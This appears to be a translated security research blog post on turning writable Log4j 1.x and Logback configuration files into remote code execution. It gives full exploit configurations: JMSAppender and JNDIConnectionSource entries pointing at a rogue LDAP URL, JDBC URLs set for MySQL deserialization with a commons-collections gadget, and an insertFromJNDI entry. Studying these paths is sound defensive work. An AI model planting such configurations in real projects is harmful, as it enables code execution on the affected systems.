0x01 Preface
I found several interesting details while following up on Log4j 2 and am recording them here.
0x02 Is Log4j Never Vulnerable to JNDI Injection?
First, a question:Is Log4j never vulnerable to JNDI injection?
No.
I found an interesting exchange in a Log4j 2 pull request:

Someone argued that Log4j is vulnerable in the same way as Log4j 2, except that Log4j's attack vector is 'safer.'
because Log4j's entry point is its configuration file, whereas Log4j 2's entry point is user input.
What happens in practice? My tests confirm that modifying Log4j's configuration can create a vulnerability, but the prerequisites are stricter than the pull request suggests.
Case 1 — JMSAppender RCE Through a Log4j Configuration File
First add these Maven dependencies:
<dependencies>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
<dependency>
<groupId>org.apache.activemq</groupId>
<artifactId>activemq-broker</artifactId>
<version>5.16.3</version>
</dependency>
</dependencies>
Then create under resources: log4j.properties file with the following content:
log4j.rootLogger=INFO, stdout, jms
log4j.logger.org.apache.activemq=INFO, stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.layout.ConversionPattern=%d %-5p %c - %m%n
log4j.appender.jms=org.apache.log4j.net.JMSAppender
log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitialContextFactory
log4j.appender.jms.ProviderURL=tcp://localhost:61616
log4j.appender.jms.TopicBindingName=jmsTest
log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://127.0.0.1:1389/erqtcd
Finally create Log4jJMSAppenderTest.java file with the following content:
import org.apache.log4j.Logger;
import javax.naming.NamingException;
class Log4jJMSAppenderTest {
public static void main(String[] args) throws NamingException {
// The Log4j configuration file is normally loaded automatically; if it is not, uncomment the line below
// PropertyConfigurator.configure( "/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties" ); Logger logger = Logger.getLogger(Log4jJMSAppenderTest.class);
logger.error("error");
}
}
The project's primary dependencies are log4j 1.2.17 version, then imported the latest activemq dependency.
Running the main function directly now triggers RCE:

The principle is simple. Log4j has Appenders, which write event data to destinations such as databases or JMS brokers.
When it detectslog4j.propertiesWhen a specified Appender appears in the configuration, its corresponding logic runs automatically.
For example, suppose we configurelog4j.appender.file=org.apache.log4j.FileAppender, execution entersFileAppender.java in activateOptions method
Configurelog4j.appender.stdout=org.apache.log4j.ConsoleAppender, execution entersConsoleAppender.java inactivateOptionsmethod
The configuration above useslog4j.appender.jms=org.apache.log4j.net.JMSAppender , execution entersJMSAppender.javainactivateOptionsmethod
Set a breakpoint in this method. Debugging shows that it calls lookup method:

Then in ctx.lookup(name)with our malicious LDAP service URL, thereby triggering RCE.

Although RCE works here, a class supporting a JMS broker (org.apache.activemq.jndi.ActiveMQInitialContextFactory ) must be present, or an error occurs. If the application and its dependencies contain no JMS broker class, exploitation is highly constrained and impractical.
Is JMSAppender the only exploitable option?
Case 2 — JDBC RCE Through a Log4j Configuration File
Log4j has many Appenders besides JMSAppender, including JDBCAppender.
Likewise, create under resources:log4j.propertiesfile with the following content:
log4j.rootLogger=DEBUG,database
log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender
# database address
log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
log4j.appender.database.driver=com.mysql.jdbc.Driver
log4j.appender.database.user=test
log4j.appender.database.password=111111
log4j.appender.database.sql=INSERT INTO log4j (message) VALUES('%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n')
#log4j.appender.database.layout=org.apache.log4j.PatternLayout
To make JDBC deserialization testing convenient, add the following Maven dependencies:
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.12</version>
</dependency>
Finally, create test.java file with the following content:
import org.apache.log4j.Logger;
public class test {
public static void main(String[] args) {
Logger logger = Logger.getLogger(test.class);
logger.error("error");
}
}
Run main to trigger RCE directly:

The principle resembles JMSAppender; execution likewise entersJDBCAppender.java ; only the triggering method isgetConnection(). From there, the flow is the familiar JDBC deserialization process.
This discussion concerns Log4j 1.x, but Log4j 2.15.0 can perform the same operation.
If the configuration file is controllable, there is no need to bypass lookup allowlists and restrictions. RCE can be achieved directly in a manner like the examples above, as Sanmeng previously noted:
<pattern>%sn. %msg: Class=%class%n%m{lookups}</pattern>
<pattern>${payload}</pattern>
Overall, modifying configuration files is still an impractical technique with limited real-world utility. It applies only to special scenarios and is discussed here for technical interest.
0x03 Low-Impact RCE in Logback
Besides Log4j, another widely used logging component is logback,logbakcandlog4jwere written by the same person, so I wanted to see whether Logback had a similar issue.
Because Logback is Spring Boot's default logging component, a similar issue could arise more often.
First consider JMSAppender. Unfortunately, JMSTopicAppender was removed after Logback 1.2.2.

Fortunately, Logback contains an Appender similar to JDBCAppender: DBAppender
DBAppender has aConnectionSourceinterface, which provides a pluggable way for code requiring java.sql.Connection Logback class for obtaining JDBC connections. It currently has three implementations: DriverManagerConnectionSource 、DataSourceConnectionSourceand JNDIConnectionSource. Each of the three implementations can be used to achieve RCE.
DriverManagerConnectionSource and DataSourceConnectionSource is similar: both can exploit JDBC deserialization by controlling the JDBC URL.
First create under resources: logback-spring.xml , with the following content
<configuration>
<appender name="DB" class="ch.qos.logback.classic.db.DBAppender">
<connectionSource class="ch.qos.logback.core.db.DriverManagerConnectionSource">
<driverClass>com.mysql.jdbc.Driver</driverClass>
<url>jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor</url>
<user>username</user>
<password>password</password>
</connectionSource>
</appender>
<root level="DEBUG" >
<appender-ref ref="DB" />
</root>
</configuration>
Add two dependencies to the new Spring Boot project's pom.xml:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.12</version>
</dependency>
Then runSpringApplication.run()method, triggering the vulnerability:

Besides those two, there is also JNDIConnectionSource method. JNDIConnectionSource is built into Logback; as the name suggests, it obtains a javax.sql.DataSource through JNDI and then a java.sql.Connection instance.
For our purposes, this approach is more convenient and requires no other dependencies. The test follows:
Create the following under resources: logback-spring.xml , with the following content
<configuration debug="true">
<appender name="DB" class="ch.qos.logback.classic.db.DBAppender">
<connectionSource class="ch.qos.logback.core.db.JNDIConnectionSource">
<jndiLocation>ldap://127.0.0.1:1389/erqtcd</jndiLocation>
</connectionSource>
</appender>
<root level="DEBUG">
<appender-ref ref="DB"/>
</root>
</configuration>
Likewise, runSpringApplication.run()method, triggering the vulnerability:

Tracing shows that execution ultimately entersJNDIConnectionSource.javaofgetConnectionmethod. If dataSource is null, it setsdataSource = lookupDataSource();
Then inlookupDataSource() triggered in lookup:

Note that JNDIConnectionSource obtains its javax.naming.InitialContext. This usually works in a J2EE environment, but outside J2EE it additionally requires a jndi.properties configuration file is required.
Besides the method above, another configuration can achieve RCE directly without DBAppender:
<configuration>
<insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/erqtcd" as="appName" />
<root level="DEBUG">
<appender-ref ref="CONSOLE" />
</root>
</configuration>
Run the project to achieve RCE:

Tracing likewise shows that it occurs inInsertFromJNDIAction.javaofbeginmethod calls JNDIUtil.lookup method, thereby triggering the vulnerability:

JMX can likewise achieve RCE by roughly the same principle, so it is omitted here.
0x04 Closing Notes
The method above is indeed impractical, as the pull request notes:
If an attacker can modify a configuration file on system S, then S can be assumed to be substantially compromised.
There are still plausible scenarios. Logback configuration supports a scan attribute. When configured, scan attribute, the system starts a scan task to monitor the configuration. Changes cause the new file to load automatically. An experiment demonstrating this scenario is available here:https://xz.aliyun.com/t/7351
These techniques may be useless in most situations, but use your imagination and consider where such attack scenarios might arise.
0x05 References
https://github.com/apache/logging-log4j2/pull/608 https://activemq.apache.org/how-do-i-use-log4j-jms-appender-with-activemq https://logbackcn.gitbook.io/logback/04-di-si-zhang-appenders